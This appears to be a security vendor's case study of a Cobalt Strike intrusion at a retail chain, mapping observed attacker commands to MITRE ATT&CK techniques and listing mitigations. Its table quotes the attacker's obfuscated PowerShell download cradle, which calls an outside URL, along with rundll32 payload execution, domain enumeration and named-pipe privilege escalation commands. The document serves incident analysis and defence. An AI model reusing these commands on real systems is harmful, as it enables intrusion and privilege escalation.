MITRE ATT&CK Guides MSP on Cobalt Strike Threat Mitigation
The Network: A major retailer with over 2,500 employees and more than 100 stores and distribution centers is supported by an MSP who uncovered a cyber criminal weaponizing the legitimate IT tool Cobalt Strike for malware distribution.
The Expectation: Protect the retailer’s digital assets and sensitive data to maintain uptime and resiliency by avoiding malicious activity. Enable services like eCommerce that are crucial to retail organizations with supply chain partners and customers around the globe.
The Catch: The analyst team at Netsurion’s Security Operations Center (SOC) used the advanced logic to detect an obfuscated but suspicious PowerShell command. It was then followed by a named pipe command execution for impersonation and privilege escalation. Detailed investigation of the detected sequence showed a Cobalt Strike attack.
Cobalt Strike is an exploit tool used by defenders and hackers alike. It is powerful and flexible at simulating attacks and testing network defenses. Cobalt Strike is available for registration and sale on legitimate websites as well as found on the criminal underground.
The Find: Netsurion’s SOC detected every detail of this malware attack and provided the retailer with detailed remediation recommendations. The analyst uncovered a PowerShell running a dubious alert with a command line argument that appeared very suspicious as the parameter “DOWNLOAD FILE” was split as “D” + “Own” + “LOa” + “Dfi” + “le” to evade known detection controls. The legacy anti-virus was not sufficient to detect this threat tradecraft. Netsurion’s SOC analyst also noticed a URL in the command line argument.
Malicious Cobalt Strike Tactics and Techniques in MITRE ATT&CK:
Creator Process Name | Suspicious Command Line Argument | Comments | Tactic | Technique | MITRE ATT&CK ID |
---|---|---|---|---|---|
cmd.exe | rundll32 b.dll,TstSec 11985756 | Suspicious DLL is loaded and ‘11985756’ is parameter passed to ‘TstSec’ function.Similar commandline arguments are involved in Cobalt Strike attack as shared by security research firms. | Defense Evasion | Signed Binary Proxy Execution | T1218.011 |
cmd.exe | powershell -nop -c $ds = ”D” + ”Own” + ”LOa” + ”DfI” + ”le”; Invoke-Expression (New-Object Net.WebClient).$ds.Invoke (”https://mail.pvpc.org/owa/auth/Current/lo.ttf”, ”C:WindowsTEMPou.ttf”) | File with extension .ttf getting downloaded at the location-”C:WindowsTEMPou.ttf”. (Windows Defender has detected threat as -‘Behavior:Win32/CobaltStrike.H!nri’) | Command and Control | Data Obfuscation | T1001 |
cmd.exe | rundll32 C:WindowsTEMPou.ttf,lhdgbmas | Highly suspicious activity where rundll32 is loading a non DLL extension file and believed to execute malicious ShellCode. | Defense Evasion | Signed Binary Proxy Execution | T1218.011 |
rundll32.exe | C:Windowssystem32cmd.exe /C nltest /dclist: | Enumeration commands executed | Discovery | Account Discovery | T1087 |
rundll32.exe | C:Windowssystem32cmd.exe /C net group “Domain admins” /domain | Discovery | Account Discovery | T1087 | |
rundll32.exe | C:Windowssystem32cmd.exe /C nltest /domain_trusts | Discovery | Account Discovery | T1087 | |
rundll32.exe | C:Windowssystem32cmd.exe /C net group “Enterprise admins” /domain | Discovery | Account Discovery | T1087 | |
rundll32.exe | C:Windowssystem32net1 group “Enterprise admins” /domain | Discovery | Account Discovery | T1087 | |
rundll32.exe | C:Windowssystem32net1 group “Domain admins” /domain | Discovery | Account Discovery | T1087 | |
svchost.exe | C:Windowssystem32cmd.exe /c echo a848bdcc925 > \.pipec20734 | Named Pipe command are executed to escalate priviledges(Windows Defender has detected threat as -‘HackTool:Win32/Named PipeImpers.A’) | Privilege Escalation | Access Token Manipulation | T1134 |
svchost.exe | C:Windowssystem32cmd.exe /c echo 48e31e1d13a > //./pipe/2d6265″>\.pipe2d6265 | Privilege Escalation | Access Token Manipulation | T1134 |
Observation: On accessing the URL in a controlled sandbox environment, Netsurion detected a file downloaded by the Cobalt Strike Beacon. To check the reputation of the artifact, the SOC analyst uploaded the file to an IP monitoring service, which ranked it as having a poor reputation. Reputation intelligence on IP addresses helps protect users from known malware or connection to suspicious domains that may be hosting phishing attacks or malware.
The Fix: Netsurion’s security analyst promptly notified the MSP about the detections. Rapid action stopped the further spread of Cobalt Strike. All identified malicious hashes and IP addresses were immediately moved to an unsafe list for process termination on the infected system. The identified Cobalt Strike hashes were then added to Netsurion Threat Center, our threat intelligence repository, to assist in rapid detection across all Netsurion customers.
Recommendations to mitigate this Cobalt Strike malware include:
- Use strict password management and least privilege access policies
- Reinforce social engineering and anti-phishing awareness training
- Identify which systems, applications, and data lakes are mission-critical to your business and day-to-day operations and functions such as billing
- Implement frequent backups of crucial files and isolate them from local and open networks. Also keep offline backups of data stored in locations inaccessible from infected computers.
- Promptly patch software and applications and stay on top of vulnerability advisories
- Implement and practice a digital disaster recovery plan
- Monitor the attack surface with a 24/7/365 SOC
Netsurion’s security analyst continued to monitor the network for further infection and possible lateral movement.
The Lesson: With the rise in Ransomware-as-a-Service (RaaS), legitimate tools like Cobalt Strike are gaining traction with cyber criminals. Adversaries will likely continue to use legitimate cybersecurity tools to avoid detection. MSPs must remain vigilant as cyber criminals are persistent and ever evolving. It is also common for attackers to strike the same victims again who’ve demonstrated weak defenses. As a global and objective framework, MITRE ATT&CK is a structured way to learn from real-world adversaries. Netsurion’s Managed Open XDR offers defense-in-depth coverage and 24/7 monitoring that prevents the spread of this dangerous malware to other systems and devices.
What is Cobalt Strike and how does it work?
What is Cobalt Strike and how does it work? Cobalt strike is a weaponized software that deploys a difficult-to-detect beacon to a target. But how does it get onto your system and evade existing security control? How can you detect and decontaminate if you’ve been affected? Watch this 10-minute overview to find out.